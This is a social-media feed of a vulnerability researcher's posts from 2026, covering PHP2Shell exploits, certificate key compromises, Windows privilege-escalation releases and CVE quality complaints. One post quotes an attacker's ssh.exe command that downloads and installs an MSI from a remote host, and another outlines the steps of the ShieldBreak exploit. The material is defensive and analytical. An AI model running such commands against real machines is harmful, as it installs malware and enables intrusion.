Will Dormann

I play with vulnerabilities and exploits.
I used to be https://twitter.com/wdormann but Twitter has become unbearable, so here I am.

Public Key

npub12xhpqz0ygq7cy87pcyhpf06tgr0yf37uv9mcnzzqeg00n70tca5q0vzxeq

NIP-05 Address

wdormann_at_infosec.exchange@momostr.pink

Profile Code

nprofile1qqs9rtssp8jyq0vzrlquzts5ha95phjyclwxzauf3pqv58hel84uw6qprpmhxue69uhhyetvv9ujumt0d4hhxarj9ecxjmntqyg8wumn8ghj7mn0wd68ytnhd9hx23rg927

Publishing to

relay.momostr.pink

nostr.wine

relay.mostr.pub

Author Public Key

npub12xhpqz0ygq7cy87pcyhpf06tgr0yf37uv9mcnzzqeg00n70tca5q0vzxeq

Show more details

Last Notes

2026-10-30 17:23:09 UTC

- reply

Ah, lovely. Very important thing that is affecting a company's reputation, with customers afraid. What do we do? Have a rando user post a statement on Hacker News.

2026-10-30 13:26:36 UTC

- reply

Aren't there other consumers of the Open VSX Registry? In which case this incident is not limited to Cursor?

2026-10-30 13:14:22 UTC

- reply

Let me get this straight:
The Cursor anthropic.claude-code extension was backdoored, but the VS Code anthropic.claude-code extension was not? The former maintained by "Igor Kofman", and the latter by "Anthropic". Igor Kofman being an Anthropic employee and all. 2.1.314, which removes the backdoor was released to **both** marketplaces.
There a bit of hand-waving and lacking information to prevent the masses from knowing exactly what happened, and how, and who all is affected.

2026-10-28 03:45:09 UTC

[Dream Group on php2shell exploitation of a firewall vendor's management interface](https://dreamgroup.com/blog/chained-php2shell-exploit-roots-25-servers ):
> The affected devices run specific versions of a large vendor’s firewall software. For security purposes, we are not disclosing the vendor or the affected versions, and the vendor has been notified.
[Palo Alto](https://www.reddit.com/r/paloaltonetworks/comments/1xh1tmc/palo_alto_just_pushed_out_critical_alert_to/ ):
> We are aware of heightened threat actor activity targeting internet exposed management interfaces of PAN-OS devices (NGFW and Panorama) and recently disclosed vulnerabilities.
🤔

2026-10-27 14:41:45 UTC

- reply

Weird that using a FreeBSD version EOL'd over 5 years ago has consequences. 🤔
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/513/393/720/164/776/original/be985dcbff782fa3.png

2026-10-26 21:16:02 UTC

- reply

Just got mine, and it's pretty slick.
Oddly, though, while it sets the time automatically on power-on, it does **not** seem so set the time zone. Those using the built-in timer feature probably don't think in UTC time.
Anyway, I ran this command to set it:Backlog Timezone 99; TimeDst 0,2,3,1,2,-240; TimeStd 0,1,11,1,2,-300

2026-10-26 14:40:13 UTC

- reply

There was a [steal my bitcoin challenge](https://stealmybitcoin.com/ ) which offered some bitcoin if the PHP instance could be compromised. It was won after 19.28 hours.
The [solution exploit has been posted](https://github.com/KillaBoi/StealMyBitcoin-PoC ), which I've confirmed to work.
From the exploit:
> The offsets and multipart shapes are calibrated for the challenge's observed Alpine PHP 8.4.26 layout.
Which was presumably observable from the live server.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/507/714/826/826/915/original/2b12977b566a01f4.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/507/719/235/155/395/original/3e91cba934e155d8.png

2026-10-26 14:34:44 UTC

- reply

This is from what I'd expect to be the VM series, as it was snagged from Azure in May of this year. 🤷‍♂️

2026-10-26 13:58:10 UTC

- reply

They do?
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/507/548/250/923/800/original/497ad9fd93ae8869.png

2026-10-22 19:29:47 UTC

- reply

In the ever-growing sea of AI slop exploits out there, this is the closest I've seen to being viable:
https://github.com/9bie/php2shell-bypass-aslr-exp
With two **large** caveats:
1) It requires specific, albeit plausible, configuration options for PHP.
2) It appears to requires specific knowledge of the specific PHP code running on the target system.
**With these two caveats**, yeah, you can get code execution. Without them, good luck?
At least with what I've seen so far, I've not seen any evidence that there's a universal exploit for this. It's possible that this vulnerability may be able to be combined with another vulnerability in a popular platform to achieve universal reliably. But I don't think we're even there yet.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/486/214/303/472/261/original/0846b1bcbc5dc15b.png

2026-10-21 16:55:48 UTC

- reply

If we look at the Red Hat advisories for [CVE-2026-109619](https://access.redhat.com/security/cve/cve-2026-109619 ) and [CVE-2026-109619](https://access.redhat.com/security/cve/cve-2026-109619 ), we can see that the "Errata" and "Release Date" columns are empty. Which suggests that no fixes are available.
But if we look at one of the affected products (RHEL9, php8.3), we can see that there **is** indeed an update available: [RHSA-2026:87079](https://access.redhat.com/errata/RHSA-2026:87079 )
This sort of stuff makes me glad I'm not responsible for sysadmin stuff in the real world.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/479/947/160/507/191/original/2b32f7ede63a5e78.png

2026-10-21 13:43:04 UTC

Update your PHP (if you can), folks. That is, install PHP 8.5.12 to fix critical vulnerabilities [CVE-2026-109618](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w ) and [CVE-2026-109619](https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp ).
https://www.php.net/archive/2026.php#2026-10-21-5
Until updates are available on your platform, I hear that setting in php.ini<code>memory_limit=-1 session.upload_progress.enabled=0 fatal_error_backtraces=0 </code>
can mitigate some attacks. Also:
> Set a low post_max_size> . For applications that don't require file uploads, set post_max_size = 8M> . If file uploads are necessary, set post_max_size = 32M> . Keep upload_max_filesize> below post_max_size> . Consider enforcing limits at the web server or proxy level for decoded request size, input field count, multipart part count, header count, and nesting depth. These limits must also cover requests without a usable Content-Length.
[More info from Wiz here](https://www.wiz.io/blog/php2shell-php-rce )

2026-10-20 22:14:46 UTC

- reply

Looks like Calif may have a PoC called php2shell that works against WordPress.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/475/538/598/734/395/original/f320bb322ae56a2b.png

2026-10-20 22:11:33 UTC

- reply

A company trusted with ensuring that the communications on the internet are secure, eMudhra, was tasked with using unguessable 384-bit private keys for a NIST P-384 elliptic curve.
eMudhra:
How about 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004? That's 384 bits, right?
On the upside, I guess this means that we'll be able to MITM devices that we wouldn't otherwise be able to see the traffic from. (Think non-computers like TVs and the like that'll never see updates)

2026-10-20 17:18:22 UTC

Today's WTF:
Creating a document in Microsoft Word, my page content layout just happened to result in an additional blank page at the end that could not be deleted.
The fix:<li>Toggle the <code>Show/Hide ¶</code> button in Word.</li><li>Change the FONT SIZE of the normally invisible <code>¶</code> character to be smaller.</li>
With the **invisible** marker using a smaller **size**, an additional blank page at the end isn't required to store it. 🤦‍♂️
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/474/368/354/972/363/original/5ec0e61f674fb6a2.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/474/368/784/191/724/original/fbc17ceb1c676cec.png

2026-10-20 15:04:41 UTC

That sound you hear is trust for some eMudhra emSign certs being revoked. (Private keys compromised)
https://blog.mozilla.org/security/2026/10/20/protecting-firefox-users-following-the-compromise-of-emudhra-intermediate-certificates/
https://www.mozilla.org/en-US/security/advisories/mfsa2026-111/#CVE-2026-113470

2026-10-15 13:15:12 UTC

- reply

Yeah, all is good. Thanks.

2026-10-15 13:02:45 UTC

I got hit by a car and now my front wheel is bent. 😕
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/445/056/239/629/368/original/147e36f561eaf9c6.jpeg

2026-10-14 13:24:59 UTC

Pic stolen from the bad place.
Ledger devices are tamper-proof, so there is no anti-tampering sticker on the box.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/439/480/389/232/714/original/45a896f4e09588a1.jpeg

2026-10-13 18:59:04 UTC

- reply

The idiocy knows no bounds.
Graphic showing drop in HTTP requests from Yandex.
Conclusion: Elon Musk loses 100M followers.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/435/133/028/675/646/original/2cdaf632993a5154.png

2026-10-13 16:28:07 UTC

- reply

Volexity:
> This exploit chain combined an authentication bypass, a remote code execution (RCE), and a privilege escalation vulnerability to achieve unauthenticated root-level code execution.
Ivanti:
> "This" is CVE-2026-104935
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/434/539/783/879/882/original/d3a2717ddc779951.mp4

2026-10-11 15:33:52 UTC

- reply

> The affected element is an unknown function of the file /root/viper/.git/config. Performing a manipulation results in hard-coded credentials.
WUT

2026-10-08 21:47:04 UTC

- reply

I'm not sure I'd call "paste this PowerShell command into the Windows run dialog" "evolved". 😂

2026-10-08 16:50:15 UTC

Remember when cell phones became readily available to the masses? As a society, we sort of lost the capability of remembering phone numbers, as we didn't need to do that anymore.
So with all of this readily available LLM stuff now... are we going to lose the ability to think?

2026-10-04 21:02:22 UTC

- reply

No. The current NetScaler is based on FreeBSD 11.4, which predates ASLR support by years.

2026-10-04 15:32:07 UTC

- reply

FreeBSD has made it clear that they don't care about / don't understand security.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/383/358/489/775/679/original/840f0ea5c32bc6fa.jpeg

2026-10-04 12:16:52 UTC

- reply

There's no way a memory overflow could lead to RCE on a system with no ASLR or stack canaries. 😂

2026-10-02 20:34:54 UTC

- reply

> The guidance below is intended to help customers take immediate action to reduce exposure.
...
> Recommended customer action
> Customers should take the following actions: <li>Inspect the NetScaler Gateway and AAA configuration for SAML authentication action. </li><li>If you are currently experiencing the impact from this issue, please contact Citrix support.</li>the impact
😂
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/373/224/488/886/870/original/71e5a4bfec6087d5.mp4

2026-10-02 12:53:32 UTC

- reply

https://lwn.net/Articles/961961/
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/371/409/761/479/089/original/4eb2a6a49077700b.jpeg

2026-10-01 13:24:30 UTC

- reply

All CVSS scores are wrong. 😂

2026-10-01 00:50:13 UTC

Super Intelligence
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/362/903/864/377/482/original/6cddcffd00b132f4.jpeg

2026-09-29 19:09:56 UTC

They redesigned [example.com](https://example.com )
Of course I noticed.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/355/903/852/588/509/original/b3e28f38205906e2.mp4

2026-09-29 18:24:47 UTC

Two things about this [Start Blizzard phishing attack outlined by Microsoft](https://www.microsoft.com/en-us/security/blog/2026/09/29/star-blizzard-refines-phishing-and-malware-delivery-with-the-redflick-technique/ )<li>The technique for using <code>ssh.exe</code> to run the specified commandline upon connecting to a remote SSH host (which obviously has been configured to allow password-free logins):<pre><code>C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=cmd.exe /q /c start msiexec /q /i https://etia[.]ca/f.msi" -q s@etia[.]ca </code></pre></li><li>If you don't log in to Windows as an admin, this VHDX vehicle for delivering badness doesn't even work at all. First, you're prompted for admin user credentials. Second (and this is likely a Windows bug, but I'll take it 😂), after entering credentials, Windows says: <code>Sorry, there was a problem mounting the file</code>.</li>
It sort of blows my mind the number of people who log into their computers as an admin, but YOLO I guess.
Note: [I wrote about how attackers benefit from VHD/VHDX years ago](https://www.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/ ). It's a good way to avoid AV products that may be operating on the wire. Obviously, once mounted, host-based AV products will see the contents just as if it were any other storage location.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/355/648/884/883/459/original/0b935f69efefade6.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/355/649/276/204/491/original/1bf31725275ecee8.png

2026-09-29 12:51:18 UTC

- reply

That's fair.
Red Hat didn't bother fixing those. 😂

2026-09-27 23:18:33 UTC

- reply

I haven't looked at any of this, but I'm slightly reminded of when Ivanti VPN hacks were going around, and Ivanti's advice was to "just run the ICT" (integrity checker).
All while hand-waving over the fact that an already-comoromised device could simply fake the results of the ICT that runs on the compromised device.
Hopefully NetScaler devices aren't in the same boat?
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/345/575/487/378/216/original/ba9c27aa8f672c9d.png

2026-09-27 22:33:37 UTC

- reply

https://www.techspot.com/news/114003-openai-pauses-training-most-powerful-ai-models-after.html
Theory: AI companies intentionally have bad security practices, as it gives them stories to tell about how their product is too powerful for the masses.

2026-09-25 15:21:23 UTC

RE: https://infosec.exchange/@BleepingComputer/117322781758096304
[example.com](https://example.com ) exists for a reason, folks.
#note1eah…096s

2026-09-23 13:07:00 UTC

2.5 years ago I bought an Orange Pi for $12.90, excited about how much cheaper they'll surely get.
The same model is currently $73.44
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/320/498/724/087/995/original/a82c658f85462109.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/320/499/428/354/800/original/2d05fdb5133e8a03.png

2026-09-21 18:58:15 UTC

- reply

Fluid Karma, eh?
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/310/557/419/464/635/original/e0b1235087d24366.jpg

2026-09-20 13:47:03 UTC

I went to a pretty intense [championship](https://www.instagram.com/pghparkingchamp?stkn=MWx6bmFkYW1yZm95MQ== ) yesterday. It was great.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/303/662/738/275/837/original/0c29154740d2f89e.jpeg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/303/662/746/660/226/original/14acc7b4e28c6728.jpeg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/303/662/762/568/126/original/be02505fa9b5fc04.jpeg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/303/662/811/498/908/original/e3bc6dc8303c1911.jpeg

2026-09-18 15:23:23 UTC

Ramdom thought / further evidence that this universe is against me:
In the cycling world, clip**less** pedals are pedals that you **clip into**.
I don't like this.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/292/726/169/576/228/original/f748f359eae2d854.jpeg

2026-09-18 13:56:04 UTC

- reply

I can only assume that this is a case of "roll out the update and wait long enough for the masses to install it before telling anyone about the vulnerabilities it fixes" ? 🤷‍♂️

2026-09-18 13:46:43 UTC

- reply

Synology on September 18:
> Upgrade to 7.4-90075 or above.
Also Synology on July 24:
We've released Synology DSM 7.4.1-90080
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/292/346/549/357/532/original/8bfbef06829faa3b.jpeg

2026-09-15 17:10:09 UTC

- reply

The [GitHub repo](https://github.com/MSNightmare/ShieldCrash ) has been updated to make it work.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/276/157/922/944/840/original/71d1c79f8fbca4e3.png

2026-09-15 13:12:39 UTC

Did you update to iOS 27? Congratulations! You've now been re-enrolled in Apple Intelligence, because Apple knows better about what you want than you do.<li>Starting with iOS 27, there is no top-level <code>Apple Intelligence</code> setting that you can turn off.</li><li>If you had <code>Apple Intelligence</code> disabled on iOS prior to 27, the features that use Apple Intelligence will be automatically re-enabled upon upgrading to 27.</li><li>If you do want to turn off an example Apple Intelligence thing in iOS 27, you can:<ul><li>Settings → Screen Time</li><li>Content & Privacy Restrictions → turn it on (It's off by default)</li><li>Siri → Writing Assistance → Don’t Allow</li></ul></li>
Confusingly, on this same settings page, you can select Siri Classic, as opposed to the default-in-27 Siri AI (Beta). However, after making this change, none of the settings below it change at all. So is Siri AI (Beta) with Writing Assistance (and all other settings there) set to Don't Allow less AI-ish than Siri Classic with the default associated settings of Allowed? I have no idea.
Are there any Apple Intelligence settings outside of the Content & Privacy Restrictions settings for Siri? I also have no idea.
You will embrace your AI overlords and you will like it.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/275/217/005/905/086/original/c42e3cf1fe889ad2.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/275/218/538/194/340/original/2dc1da7ea70b43fb.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/275/222/166/250/559/original/68150d9adc8e12d2.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/275/223/961/419/486/original/5ef261d72e7189b4.jpg

2026-09-15 00:18:51 UTC

RE: https://flipboard.com/@cbsnews/latest-headlines-3kai39s2z/-/a-fY6emZFXTAC7OV2eCgjWVA%3Aa%3A2476075171-%2F0
Honest question:
Why do politicians basically work until they die?
#note1jze…wk34

2026-09-14 18:31:30 UTC

New from Nightmare Eclipse is [ShieldCrash](https://github.com/MSNightmare/ShieldCrash ), which claims to allow a user to read an arbitrary file as SYSTEM.
What it does instead is give you a copy of ntdll.dll with a fancy file name, which a non-admin user can do anyway. 🤷‍♂️
Even the screenshot in the GitHub repo shows an ELAM.{GUID} output file which has a size of 2,522,080, which is the size of Windows 11 25H2's ntdll.dll as of September 2026.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/270/816/769/029/826/original/747d421175ff42b5.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/270/837/939/939/488/original/362bc0ad82957ca1.png

2026-09-14 10:52:20 UTC

[Microsoft describing a ClickFix attack in 2026](https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/ ):
Make sure your web browser isn't 6 years out of date.
(Adobe stopped supporting Flash at the end of 2020, with major browsers automatically blocking it at the beginning of 2021)
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/269/011/217/245/071/original/e781e7872e5dc694.jpeg

2026-09-10 18:14:10 UTC

Not to be outdone by having a [code execution vulnerability in the Notepad app](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841 ) (which is **not** the notepad.exe that comes with Windows, BTW), there's also [one in mspaint.exe](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70586 )
Granted I don't expect the latter to be exploited in the wild, but I still reserve the right to laugh at them.

2026-09-10 07:58:10 UTC

- reply

Anthropic notices another felony that they committed. They noticed this one by not using AI to look for it.
https://www.theregister.com/ai-and-ml/2026/09/10/anthropic-reveals-fourth-likely-crime-committed-by-its-ai/5295412

2026-09-09 06:57:49 UTC

- reply

On any given Patch Tuesday, it is no more difficult to to patch 1000 vulnerabilities across 10 Microsoft products than it is to patch 10 vulnerabilities across 10 products. 🤷‍♂️

2026-09-03 13:08:53 UTC

After a power outage long enough to exceed my UPS battery capacity, I finally finished up my script to automatically suspend running VMware Workstation VMs and also shut down other (Linux) hosts cleanly upon UPS-triggered shutdown of my Windows host.
I'm disappointed (but not surprised) that VMware Workstation doesn't do this automatically, but in this Broadcom-owns-VMware world I can't imagine that they are interested in any product improvements.
Would anybody find value in these admittedly-crufty scripts?

2026-09-02 11:43:35 UTC

- reply

Consistent device naming would have prevented this renaming? 🤔
(a name of eth0 is evidence that the feature is off)

2026-08-31 18:33:39 UTC

NightmareEclipse has released an LPE for Kaspersky antivirus called [HardBreacher](https://github.com/MSNightmare/HardBreacher )
While I had originally written it off as "doesn't work", I decided to test the old 14.0.0.504 version that is mentioned in the readme. And yeah, that works. But that version was digitally signed in April 2026, so is a touch old by now.
It does not seem to work on an up-to-date version of Kaspersky. Firstly because an up-to-date Kaspersky detects the exploit itself. But even after adding an exclusion for it, it doesn't seem to do what's intended. There is a conhost.exe that's spawned from avpui.exe, but it never seems to complete what it's doing. On an exploitable system it disappears pretty quickly.
I guess that's one of the perils of testing exploits for AV products. Sometimes it can be tricky to distinguish between the vulnerability being fixed and some sort of detection being added.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/191/227/417/371/726/original/e7f440f072ce0b84.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/191/231/553/003/859/original/62bc0e1ae3e80978.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/191/501/208/838/867/original/be7e0132d5a64272.png

2026-08-29 21:02:03 UTC

The [Pixel 11 is less secure than a Pixel 8a](https://grapheneos.social/@GrapheneOS/117180255646968652 ) because it **DOESN'T SUPPORT MTE**!
How do things like this happen? Somebody at Google decided to make the chip on a Pixel 11 **worse** than its predecessors, and enough people agreed to make it a reality. 🤦‍♂️
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/180/811/707/292/658/original/5ffbe4600594750e.jpeg

2026-08-25 14:07:37 UTC

- reply

Or if you want an [LPE **shell script**](https://github.com/0xdeadbeefnetwork/OmarchyLinuxLPE ), have at it.
Note that I've twice called Omarchy a "distro", which is perhaps unfair. It's apparently just Arch that's preconfigured for those who do enjoy editing config files with Neovim, but avoids security and wokeness.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/156/534/052/629/480/original/f48314ba83d2c631.png

2026-08-25 12:26:39 UTC

- reply

[Stop USB device names from being executed as Hyprland Lua](https://github.com/basecamp/omarchy/commit/9285b19d6a72eba3df8537d62a4cd5506a803d89 )
This isn't a serious distro.

2026-08-24 21:31:20 UTC

- reply

Yeah, a perfect 10 is a telltale sign that it's wrong.

2026-08-24 21:09:48 UTC

- reply

Out of all of the CVEs, I'd be interested to see which CVSS scores don't match up with the words in the CVE record itself.
My bet is that it's **much** higher than most people would guess.

2026-08-24 15:43:07 UTC

If you're a user of the "opinionated" (LOL) Omarchy distro, you might be a [simple few clicks from code execution from your browser](https://mehmetince.net/omarchy/ )
This is a touch more fun than the boring (but seemingly effective?) ClickFix-style attacks where you paste commands into a terminal.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/151/245/230/206/303/original/c66e26edf47b9d4b.mp4

2026-08-23 15:10:56 UTC

- reply

Humble opinion: As opposed to being addicted, those not choosing "gambling" do not consider themselves affected by gambling in any way whatsoever. So its disappearance would make absolutely no difference in their lives.

2026-08-22 14:23:47 UTC

- reply

I find it funny that there are CNA "[rules](https://www.cve.org/Resources/Media/Archives/OldWebsite/cve/cna/rules.html#section_8-3_cve_entry_reference_requirements )", but they're not enforced. AKA they're just suggestions.
It would be **trivial** to have an automatic check to make sure a reference exists at publication time. But why should anyone bother with that, as it's merely more work?
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/139/607/731/612/396/original/40181b8607eecee7.png

2026-08-22 14:01:42 UTC

We all know that CVE references age over time, and eventually none of the references exist anymore. (See also: people who run websites usually don't understand the concept of the World Wide Web)
Case in point:
The recent GitLab [CVE-2026-19478](https://www.cve.org/CVERecord?id=CVE-2026-19478 ) and [CVE-2026-19650](https://www.cve.org/CVERecord?id=CVE-2026-19650 )
Out of the three references, one of them simply [doesn't exist](https://gitlab.com/gitlab-org/gitlab/-/work_items/612617 ), and one of them is [hidden behind a login requirement](https://hackerone.com/reports/3926431 ), after which you're told that you cannot access it.
Why wait for references to age out over time when you can make them worthless right at publication time? 😂
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/139/518/777/770/279/original/736a2381204e212d.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/139/519/374/244/105/original/7eb8e364af39ec5e.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/139/519/789/531/354/original/7b7c6e75f20b0f3d.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/139/524/592/018/407/original/61aed35a91cef14e.png

2026-08-21 16:12:32 UTC

- reply

Proud owner of this shirt.
I actually wore it to the theater to see Oppenheimer. Only to be disappointed that the film wasn't about science, but rather was some courtroom drama about some guy who wanted to keep his security clearance, for some reason I cannot fathom. 😂
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/134/374/841/889/313/original/6544538ea0973c00.jpeg

2026-08-21 13:31:18 UTC

- reply

I remember when Windows required Ctrl-Alt-Del to be able to log in.

2026-08-21 13:18:43 UTC

- reply

No amount of money can eradicate ../

2026-08-20 17:21:57 UTC

- reply

Eh, it looks like I'm victim of playing the telephone game with my own memory. I guess it wasn't their own PoC. It was just **a** PoC.
From my notes in 2023:
=====
So my theories are:
1) OwnCloud recognized (or was told) that they have a phpinfo() page that can successfully be reached anonymously.
2) OwnCloud recognized that in docker installs, a successfully reached phpinfo() will leak the admin user/pass.
3) A CVSS 10 was assigned and advisory released, without actually confirming that docker installs are exploitable.
4) Somebody created a PoC exploit based on the public advisory, without confirming that it works.
5) Folks like Greynoise say that [CVE-2023-49103 is being exploited in the wild](https://web.archive.org/web/20231128001817/https://www.greynoise.io/blog/cve-2023-49103-owncloud-critical-vulnerability-quickly-exploited-in-the-wild ) because they saw traffic (from the above PoC).
6) Step 5) gets amplified in the usual infosec manner.
=====
Greynoise made a [follow-up post admitting that the PoC didn't work](https://web.archive.org/web/20231130022307/https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/ )

2026-08-20 00:30:05 UTC

As an experiment, I posted the same content as I did here on both Twitter and BlueSky, neither of which I really bother with using anymore. And I suppose with this sample set of one, over 24 hours, my suspicions were confirmed.
Twitter: The OG infosec community (for some reason). The remnants here are OK being around Nazis. The most interactions of the three platforms.
Mastodon: A refuge for those who left Twitter. Though seemingly anti-Windows, so perhaps less interest in Windows infosec.
BlueSky: Not sure who the target audience is, but they're not interested in infosec.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/124/986/363/918/004/original/e01eab09eea16a5a.jpeg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/124/992/864/783/582/original/d243f581fa0b46a1.jpeg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/125/000/582/175/681/original/8787ca8238b525f3.jpeg

2026-08-18 20:39:25 UTC

I will be presenting at [THREATCON1](https://www.threatcon1.org/agenda ) in October, explaining how I figured out how a non-admin user could get code execution as SYSTEM on Windows 11 by way of playing a MIDI file. 😂
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/118/433/997/431/296/original/813b672d9e4ef577.jpeg

2026-08-17 16:19:47 UTC

- reply

I will admit that I'm curious what a "high quality" update looks like, compared to the usual. 😂

2026-08-17 14:51:08 UTC

- reply

Apparently Microsoft is tracking ShieldBreak as [CVE-2026-69414](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69414 )
No fix has been released yet.

2026-08-15 16:34:58 UTC

- reply

This is correct and necessary.

2026-08-15 16:23:49 UTC

- reply

Back in my CERT/CC days, it was made very clear to use language that did not imply moral judgment.
What if the attacker happened to be your own government, doing something that is arguably good for the world?

2026-08-14 21:33:23 UTC

- reply

Ok, yeah. I just noticed that privacy.resistFingerprinting causes images uploaded to LLMs to be garbled.
Apparently because such things use HTML5 canvases, and the mere action of uploading an image doesn't just send the bits from my disk. It works its way through an HTML 5 canvas, and with privacy.resistFingerprinting enabled, Firefox does some [anti-fingerprinting trickery](https://wiki.mozilla.org/Security/Fingerprinting ). And as such, the local-file image bits, which worked their way into a canvas, now get sent on as a garbled canvas image.
The modern web is simply delightful.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/095/997/754/527/337/original/84eeb65b5c879c0c.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/095/997/755/881/983/original/2e1998485e16c7b8.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/095/997/757/319/825/original/3baae3ae147c7707.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/095/997/757/467/085/original/7314ba3ba6ecebb1.jpg

2026-08-13 18:43:49 UTC

- reply

A [working exploit](https://github.com/DavidCarliez/CVE-2026-66804-CrossDevice-LPE ) to achieve a SYSTEM shell with only CVE-2026-66804 has been released.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/089/672/109/307/605/original/793915303686fd64.png

2026-08-13 02:52:10 UTC

In July, Microsoft [patched as CVE-2026-50343](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50343 ) **one** of the two vulnerabilities used in an exploit chain that Calif reported to them.
Upon seeing that **one** of the two vulnerabilities was patched, Calif released the [description of the Dark Elevator exploit chain](https://blog.calif.io/p/dark-elevator-windows-install-service ), describing **both** vulnerabilities.
Yesterday, Microsoft [patched as CVE-2026-66804](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66804 ) the other half.
(Before the update, {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} was hosted by %PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll, a path that any non-admin user can create)
Apparently several people noticed. 😂
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/085/927/475/315/868/original/142133c32997f772.png

2026-08-12 15:02:31 UTC

- reply

While it **claims** to be a RoguePlanet bypass, I'll admit that my naive eyeballs fail to see the similarity.
I've skipped a few minor points, but the general gist is:
1) Set up a temp directory that's registered as a Cloud Sync provider.<li>Plant an EICAR file</li><li>Use Object Manager symlinks to control Defender's scan path to system32.</li><li>During the scan, swap the identity file and hydration data to <code>C:\Windows\system32\phoneinfo.dll</code> (which doesn't exist by default in Windows)</li><li>Run the <code>QueueReporting</code> scheduled task, which runs <code>wermgr.exe -upload</code> as <code>Run with highest privileges</code></li>
In the wer.dll code, there is explicit code to load phoneinfo.dll. Because at this point, phoneinfo.dll exists and is our own code, this runs, spawning conhost.exe with SYSTEM privileges.
I don't recall RoguePlanet doing anything with cloud providers, hydration anything, phoneinfo.dll, and unlike RoguePlanet, ShieldBreak seems to require Defender to be active to work. 🤷‍♂️

2026-08-12 03:50:46 UTC

- reply

https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/080/498/582/352/746/original/c1060c5a86367135.mp4

2026-08-11 23:58:48 UTC

And right on schedule (after the Patch Tuesday release), we have [ShieldBreak](https://blog.projectnightcrawler.dev/posts/2026-08-11-shieldbreak-august-2026-disclosure/ ) from Nightmare Eclipse. Which is reportedly an insufficient fix for RoguePlanet.
In my brief testing, Defender needs to be enabled for the exploit to work.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/079/586/107/847/108/original/8aae5d9c1795ffc5.png

2026-08-10 18:04:26 UTC

- reply

